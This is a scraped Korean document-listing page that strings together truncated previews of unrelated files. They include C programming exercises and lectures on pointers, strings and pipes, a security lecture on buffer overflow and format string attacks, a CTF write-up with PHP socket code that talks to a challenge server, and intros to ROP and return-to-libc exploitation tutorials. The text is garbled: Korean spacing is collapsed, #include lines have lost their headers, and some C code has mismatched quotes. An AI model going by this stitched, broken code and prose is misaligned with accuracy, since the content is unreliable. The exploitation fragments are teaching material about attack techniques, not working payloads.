<322EBCF8C8AF28BFACBDC0B9AEC1A6292E687770> 연습문제해답 5 4 3 2 1 0 함수의반환값 =15 5 4 3 2 1 0 함수의반환값 =95 10 7 4 1-2 함수의반환값 =3 1 2 3 4 5 연습문제해답 1. C 언어에서의배열에대하여다음중맞는것은? (1) 3차원이상의배열은불가능하다. (2) 배열의이름은포인터와같은역할을한다. (3) 배열의인덱스는 1에서부터시작한다. (4) 선언한다음, 실행도중에배열의크기를변경하는것이가능하다.

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Chapter 05. 코드보안 : 코드속에뒷길을만드는기술 1. 시스템과프로그램에대한이해 2. 버퍼오버플로우공격 3. 포맷스트링공격 시스템메모리의구조 어떤프로그램을동작시키면메모리에프로그램이동작하기위한가상의메모리공간이생성됨. 그메모리공간은다시목적에따라상위메모리와하위메모리로나눔. [ 그림 5-2] 메모리의기본구조 스택영역과힙영역 상위메모리 : 스택 (Stack)

More information

Microsoft PowerPoint - chap01-C언어개요.pptx

Microsoft PowerPoint - chap01-C언어개요.pptx #include int main(void) { int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 프로그래밍의 기본 개념을

More information

$ret = ""; $socket = fsockopen(" ", 8888, $errno, $errstr, 100); fgets( $socket, 50); fgets( $socket, 50); $ret.= fgets( $socket, 50); $

$ret = ; $socket = fsockopen( , 8888, $errno, $errstr, 100); fgets( $socket, 50); fgets( $socket, 50); $ret.= fgets( $socket, 50); $ The 5eX m2n 푼문제 : O O O X O X X O O X O O O O X O X O O O level1 : parse string Level1은 210:207.246.131 이라는 IP와 8888이라는포트번호가주어진다. 접속하여보면, base64로인코딩된스트링을보여주면서, Plain text를전송하라고한다. Base64된스트링을디코드해보면, beistlab

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Chapter 10 포인터 01 포인터의기본 02 인자전달방법 03 포인터와배열 04 포인터와문자열 변수의주소를저장하는포인터에대해알아본다. 함수의인자를값과주소로전달하는방법을알아본다. 포인터와배열의관계를알아본다. 포인터와문자열의관계를알아본다. 1.1 포인터선언 포인터선언방법 자료형 * 변수명 ; int * ptr; * 연산자가하나이면 1 차원포인터 1 차원포인터는일반변수의주소를값으로가짐

More information

10.

10. 10. 10.1 10.2 Library Routine: void perror (char* str) perror( ) str Error 0 10.3 10.3 int fd; /* */ fd = open (filename, ) /*, */ if (fd = = -1) { /* */ } fcnt1 (fd, ); /* */ read (fd, ); /* */ write

More information

Lab 4. 실습문제 (Circular singly linked list)_해답.hwp

Lab 4. 실습문제 (Circular singly linked list)_해답.hwp Lab 4. Circular singly-linked list 의구현 실험실습일시 : 2009. 4. 6. 담당교수 : 정진우 담당조교 : 곽문상 보고서제출기한 : 2009. 4. 12. 학과 : 학번 : 성명 : 실습과제목적 : 이론시간에배운 Circular Singly-linked list를실제로구현할수있다. 실습과제내용 : 주어진소스를이용해 Circular

More information

01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - PO

01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - PO 01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - POP; POP; POP; RET PLT & GOT Debug Proof of concept Example

More information

13 주차문자열의표현과입출력

13 주차문자열의표현과입출력 13 주차문자열의표현과입출력 문자표현방법 문자열표현방법 문자열이란무엇인가? 문자열의입출력 문자처리라이브러리함수 표준입출력라이브러리함수 C 언어를이용하여문자열을처리하기위해서는문자형의배열이나포인터를사용하게된다. 문자열을처리하는동작으로는단순하게문자열의입력이나출력기능이외에도문자열의복사나치환, 문자열의길이를구하거나문자열을비교하는기능등많은기능을필요로한다. 그러나이러한기능들을모두구현하기란매우까다로우며,

More information

A Dynamic Grid Services Deployment Mechanism for On-Demand Resource Provisioning

A Dynamic Grid Services Deployment Mechanism for On-Demand Resource Provisioning C Programming Practice (II) Contents 배열 문자와문자열 구조체 포인터와메모리관리 구조체 2/17 배열 (Array) (1/2) 배열 동일한자료형을가지고있으며같은이름으로참조되는변수들의집합 배열의크기는반드시상수이어야한다. type var_name[size]; 예 ) int myarray[5] 배열의원소는원소의번호를 0 부터시작하는색인을사용

More information

Microsoft PowerPoint - [2009] 02.pptx

Microsoft PowerPoint - [2009] 02.pptx 원시데이터유형과연산 원시데이터유형과연산 원시데이터유형과연산 숫자데이터유형 - 숫자데이터유형 원시데이터유형과연산 표준입출력함수 - printf 문 가장기본적인출력함수. (stdio.h) 문법 ) printf( Test printf. a = %d \n, a); printf( %d, %f, %c \n, a, b, c); #include #include

More information

ABC 11장

ABC 11장 12 장고급응용 0 수행중인프로그램 프로세스 모든프로세스는유일한프로세스식별번호 (PID) 를가짐 유닉스에서는 ps 명령을사용하여프로세스목록을볼수있음 12-1 프로세스 $ ps -aux USER PID %CPU %MEM SZ RSS TT STAT START TIME COMMAND blufox 17725 34.0 1.6 146 105 i2 R 15:13 0:00

More information

Microsoft PowerPoint - chap10-함수의활용.pptx

Microsoft PowerPoint - chap10-함수의활용.pptx #include int main(void) { int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 중 값에 의한 전달 방법과

More information

Microsoft PowerPoint - 09-Pipe

Microsoft PowerPoint - 09-Pipe 9. 파이프 상명대학교소프트웨어학부 파이프 시그널은이상한사건이나오류를처리하는데는이용하지만, 한프로세스로부터다른프로세스로대량의정보를전송하는데는부적합하다. 파이프 한프로세스를다른관련된프로세스에연결시켜주는단방향의통신채널 2 pipe() Usage #include int pipe(int filedes[2]); 3 < ex_1.c > #include

More information

4. #include <stdio.h> #include <stdlib.h> int main() { functiona(); } void functiona() { printf("hihi\n"); } warning: conflicting types for functiona

4. #include <stdio.h> #include <stdlib.h> int main() { functiona(); } void functiona() { printf(hihi\n); } warning: conflicting types for functiona 이름 : 학번 : A. True or False: 각각항목마다 True 인지 False 인지적으세요. 1. (Python:) randint 함수를사용하려면, random 모듈을 import 해야한다. 2. (Python:) '' (single quote) 는한글자를표현할때, (double quote) 는문자열을표현할때사용한다. B. 다음에러를수정하는방법을적으세요.

More information

Microsoft PowerPoint - 제9강 문자열

Microsoft PowerPoint - 제9강 문자열 제11장 문자열 문자열정의 문자열과포인터, 문자열과배열 2 차원문자열배열, 2 차원문자열포인터 문자열함수, 헤더파일 string.h ctype.h strlen(), strcat(), strcpy(), strstr(), strchr(), strcmp(), strtok() getc(), putc(), fgetc(), fputc(), gets(), puts(),

More information

11장 포인터

11장 포인터 누구나즐기는 C 언어콘서트 제 9 장포인터 이번장에서학습할내용 포인터이란? 변수의주소 포인터의선언 간접참조연산자 포인터연산 포인터와배열 포인터와함수 이번장에서는포인터의기초적인지식을학습한다. 포인터란? 포인터 (pointer): 주소를가지고있는변수 메모리의구조 변수는메모리에저장된다. 메모리는바이트단위로액세스된다. 첫번째바이트의주소는 0, 두번째바이트는 1, 변수와메모리

More information

<52544CC0BB20BEC6B4C2B0A12E687770>

<52544CC0BB20BEC6B4C2B0A12E687770> RTL 을아는가? 작성일 : 2009/12/01 Written by MaJ3stY ----------------------------------------------------------------------- 목차 0x01 Notice 0x02 RTL 이란? 0x03 공격을직접해보자. 0x04 마치며 -----------------------------------------------------------------------

More information

Microsoft PowerPoint - chap03-변수와데이터형.pptx

Microsoft PowerPoint - chap03-변수와데이터형.pptx #include int main(void) { int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num %d\n", num); return 0; } 1 학습목표 의 개념에 대해 알아본다.

More information

슬라이드 1

슬라이드 1 Pairwise Tool & Pairwise Test NuSRS 200511305 김성규 200511306 김성훈 200614164 김효석 200611124 유성배 200518036 곡진화 2 PICT Pairwise Tool - PICT Microsoft 의 Command-line 기반의 Free Software www.pairwise.org 에서다운로드후설치

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Chapter 15 고급프로그램을 만들기위한 C... 1. main( ) 함수의숨겨진이야기 2. 헤더파일 3. 전처리문과예약어 1. main( ) 함수의숨겨진이야기 main( ) 함수의매개변수 [ 기본 14-1] main( ) 함수에매개변수를사용한예 1 01 #include 02 03 int main(int argc, char* argv[])

More information

Sena Technologies, Inc. HelloDevice Super 1.1.0

Sena Technologies, Inc. HelloDevice Super 1.1.0 HelloDevice Super 110 Copyright 1998-2005, All rights reserved HelloDevice 210 ()137-130 Tel: (02) 573-5422 Fax: (02) 573-7710 E-Mail: support@senacom Website: http://wwwsenacom Revision history Revision

More information